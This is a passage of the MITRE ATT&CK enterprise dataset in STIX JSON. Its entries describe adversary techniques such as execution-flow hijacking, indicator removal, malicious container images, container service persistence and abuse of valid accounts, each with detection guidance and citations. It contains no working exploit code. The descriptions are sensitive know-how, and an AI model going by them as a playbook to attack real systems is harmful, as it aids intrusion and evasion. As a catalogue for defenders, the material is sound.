2022.","url":"https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/demystifying-ransomware-attacks-against-microsoft-defender/ba-p/1928947"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-02-02T17:18:39.004Z","name":"Data Manipulation","description":"Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: Sygnia Elephant Beetle Jan 2022) By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_deprecated":false,"x_mitre_detection":"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: OS API Execution","Network Traffic: Network Traffic Content","File: File Creation","Network Traffic: Network Traffic Flow","File: File Deletion","File: File Modification","File: File Metadata"],"x_mitre_impact_type":["Integrity"],"type":"attack-pattern","id":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","created":"2020-03-02T14:19:22.609Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1565","external_id":"T1565"},{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-10T19:06:35.666Z","name":"Inter-Process Communication","description":"Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_version":"1.3","x_mitre_data_sources":["Module: Module Load","Process: Process Creation","Script: Script Execution","Process: Process Access"],"x_mitre_remote_support":true,"type":"attack-pattern","id":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","created":"2020-02-12T14:08:48.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1559","external_id":"T1559"},{"source_name":"Fireeye Hunting COM June 2019","description":"Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"},{"source_name":"Linux IPC","description":"N/A. (2021, April 1). Inter Process Communication (IPC). Retrieved March 11, 2022.","url":"https://www.geeksforgeeks.org/inter-process-communication-ipc/#:~:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-07T15:07:47.232Z","name":"Data Obfuscation","description":"Adversaries may obfuscate command and control traffic to make it more difficult to detect.(Citation: Bitdefender FunnyDream Campaign November 2020) Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","created":"2017-05-31T21:30:18.931Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1001","external_id":"T1001"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"},{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-08-11T21:06:07.690Z","name":"Data from Network Shared Drive","description":"Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_contributors":["David Tayouri"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.4","x_mitre_data_sources":["Network Share: Network Share Access","Command: Command Execution","Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow","File: File Access"],"x_mitre_system_requirements":["Privileges to access network shared drive"],"type":"attack-pattern","id":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","created":"2017-05-31T21:30:41.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1039","external_id":"T1039"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:44:09.114Z","name":"Web Services","description":"Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["Dor Edry, Microsoft"],"x_mitre_deprecated":false,"x_mitre_detection":"Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.2","x_mitre_data_sources":["Internet Scan: Response Content"],"type":"attack-pattern","id":"attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2","created":"2020-10-01T01:01:00.176Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1584/006","external_id":"T1584.006"},{"source_name":"Recorded Future Turla Infra 2020","description":"Insikt Group. (2020, March 12). Swallowing the Snake’s Tail: Tracking Turla Infrastructure. Retrieved September 16, 2024.","url":"https://www.recordedfuture.com/research/turla-apt-infrastructure"},{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754","type":"attack-pattern","created":"2020-10-19T19:42:19.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1601","url":"https://attack.mitre.org/techniques/T1601"},{"source_name":"Cisco IOS Software Integrity Assurance - Image File Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Run-Time Memory Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#13","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."}],"modified":"2020-10-22T17:50:47.635Z","name":"Modify System Image","description":"Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.\n\nTo change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Most embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. \n\nCompare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised. (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification"],"x_mitre_permissions_required":["Administrator"],"x_mitre_is_subtechnique":false},{"modified":"2023-11-21T20:02:33.404Z","name":"Hijack Execution Flow","description":"Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nMonitor for changes to environment variables, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","File: File Creation","Module: Module Load","Process: Process Creation","Service: Service Metadata","File: File Modification","Command: Command Execution"],"x_mitre_defense_bypassed":["Anti-virus","Application Control"],"type":"attack-pattern","id":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","created":"2020-03-12T20:38:12.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1574","external_id":"T1574"},{"source_name":"Autoruns for Windows","description":"Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.","url":"https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-01T15:19:54.163Z","name":"Lua","description":"Adversaries may abuse Lua commands and scripts for execution. Lua is a cross-platform scripting and programming language primarily designed for embedded use in applications. Lua can be executed on the command-line (through the stand-alone lua interpreter), via scripts (.lua), or from Lua-embedded programs (through the struct lua_State).(Citation: Lua main page)(Citation: Lua state)\n\nLua scripts may be executed by adversaries for malicious purposes. Adversaries may incorporate, abuse, or replace existing Lua interpreters to allow for malicious Lua command execution at runtime.(Citation: PoetRat Lua)(Citation: Lua Proofpoint Sunseed)(Citation: Cyphort EvilBunny)(Citation: Kaspersky Lua)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.0","x_mitre_data_sources":["Command: Command Execution","Script: Script Execution"],"x_mitre_remote_support":false,"type":"attack-pattern","id":"attack-pattern--afddee82-3385-4682-ad90-eeced33f2d07","created":"2024-08-05T18:19:42.201Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1059/011","external_id":"T1059.011"},{"source_name":"Kaspersky Lua","description":"Global Research and Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 5, 2024.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07190154/The-ProjectSauron-APT_research_KL.pdf"},{"source_name":"Lua main page","description":"Lua. (2024, June 25). Getting started. Retrieved August 5, 2024.","url":"https://www.lua.org/start.html"},{"source_name":"Lua state","description":"Lua. (n.d.). lua_State. Retrieved August 5, 2024.","url":"https://pgl.yoyo.org/luai/i/lua_State"},{"source_name":"Cyphort EvilBunny","description":"Marschalek, Marion. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved August 5, 2024.","url":"https://web.archive.org/web/20150311013500/http:/www.cyphort.com/evilbunny-malware-instrumented-lua/"},{"source_name":"PoetRat Lua","description":"Mercer, Warren. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves. Retrieved August 5, 2024.","url":"https://blog.talosintelligence.com/poetrat-update/"},{"source_name":"Lua Proofpoint Sunseed","description":"Raggi, Michael. Cass, Zydeca. The Proofpoint Threat Research Team.. (2022, March 1). Asylum Ambuscade: State Actor Uses Lua-based Sunseed Malware to Target European Governments and Refugee Movement. Retrieved August 5, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","created":"2020-03-19T21:27:32.820Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1027.005","url":"https://attack.mitre.org/techniques/T1027/005"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.","modified":"2022-04-28T16:07:48.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Indicator Removal from Tools","x_mitre_detection":"The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Application Log: Application Log Content"],"x_mitre_defense_bypassed":["Anti-virus","Host intrusion prevention systems","Log analysis","Signature-based detection"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["IaaS","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)","Vishwas Manral, McAfee"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec","type":"attack-pattern","created":"2021-03-30T17:20:05.789Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1204.003","url":"https://attack.mitre.org/techniques/T1204/003"},{"source_name":"Summit Route Malicious AMIs","url":"https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/","description":"Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021."},{"source_name":"Aqua Security Cloud Native Threat Report June 2021","url":"https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation","description":"Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021."}],"modified":"2021-08-26T16:42:35.318Z","name":"Malicious Image","description":"Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content","Command: Command Execution","Image: Image Creation","Container: Container Start","Container: Container Creation","Instance: Instance Start","Instance: Instance Creation"],"x_mitre_permissions_required":["User"]},{"modified":"2024-04-16T12:35:38.832Z","name":"Container Service","description":"Adversaries may create or modify container or container cluster management tools that run as daemons, agents, or services on individual hosts. These include software for creating and managing individual containers, such as Docker and Podman, as well as container cluster node-level agents such as kubelet. By modifying these services, an adversary may be able to achieve persistence or escalate their privileges on a host.\n\nFor example, by using the `docker run` or `podman run` command with the `restart=always` directive, a container can be configured to persistently restart on the host.(Citation: AquaSec TeamTNT 2023) A user with access to the (rootful) docker command may also be able to escalate their privileges on the host.(Citation: GTFOBins Docker)\n\nIn Kubernetes environments, DaemonSets allow an adversary to persistently [Deploy Container](https://attack.mitre.org/techniques/T1610)s on all nodes, including ones added later to the cluster.(Citation: Aquasec Kubernetes Attack 2023)(Citation: Kubernetes DaemonSet) Pods can also be deployed to specific nodes using the `nodeSelector` or `nodeName` fields in the pod spec.(Citation: Kubernetes Assigning Pods to Nodes)(Citation: AppSecco Kubernetes Namespace Breakout 2020)\n\nNote that containers can also be configured to run as [Systemd Service](https://attack.mitre.org/techniques/T1543/002)s.(Citation: Podman Systemd)(Citation: Docker Systemd)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Containers"],"x_mitre_version":"1.0","x_mitre_data_sources":["Command: Command Execution","Container: Container Creation"],"type":"attack-pattern","id":"attack-pattern--b0e54bf7-835e-4f44-bd8e-62f431b9b76a","created":"2024-02-15T13:41:46.784Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1543/005","external_id":"T1543.005"},{"source_name":"AppSecco Kubernetes Namespace Breakout 2020","description":"Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1. Retrieved January 16, 2024.","url":"https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216"},{"source_name":"Docker Systemd","description":"Docker. (n.d.). Start containers automatically. Retrieved February 15, 2024.","url":"https://docs.docker.com/config/containers/start-containers-automatically/"},{"source_name":"GTFOBins Docker","description":"GTFOBins. (n.d.). docker. Retrieved February 15, 2024.","url":"https://gtfobins.github.io/gtfobins/docker/"},{"source_name":"Kubernetes Assigning Pods to Nodes","description":"Kubernetes. (n.d.). Assigning Pods to Nodes. Retrieved February 15, 2024.","url":"https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/"},{"source_name":"Kubernetes DaemonSet","description":"Kubernetes. (n.d.). DaemonSet. Retrieved February 15, 2024.","url":"https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/"},{"source_name":"Aquasec Kubernetes Attack 2023","description":"Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14, 2023.","url":"https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters"},{"source_name":"AquaSec TeamTNT 2023","description":"Ofek Itach and Assaf Morag. (2023, July 13). TeamTNT Reemerged with New Aggressive Cloud Campaign. Retrieved February 15, 2024.","url":"https://blog.aquasec.com/teamtnt-reemerged-with-new-aggressive-cloud-campaign"},{"source_name":"Podman Systemd","description":"Valentin Rothberg. (2022, March 16). How to run pods as systemd services with Podman. Retrieved February 15, 2024.","url":"https://www.redhat.com/sysadmin/podman-run-pods-systemd-services"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:09:46.024Z","name":"Valid Accounts","description":"Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential 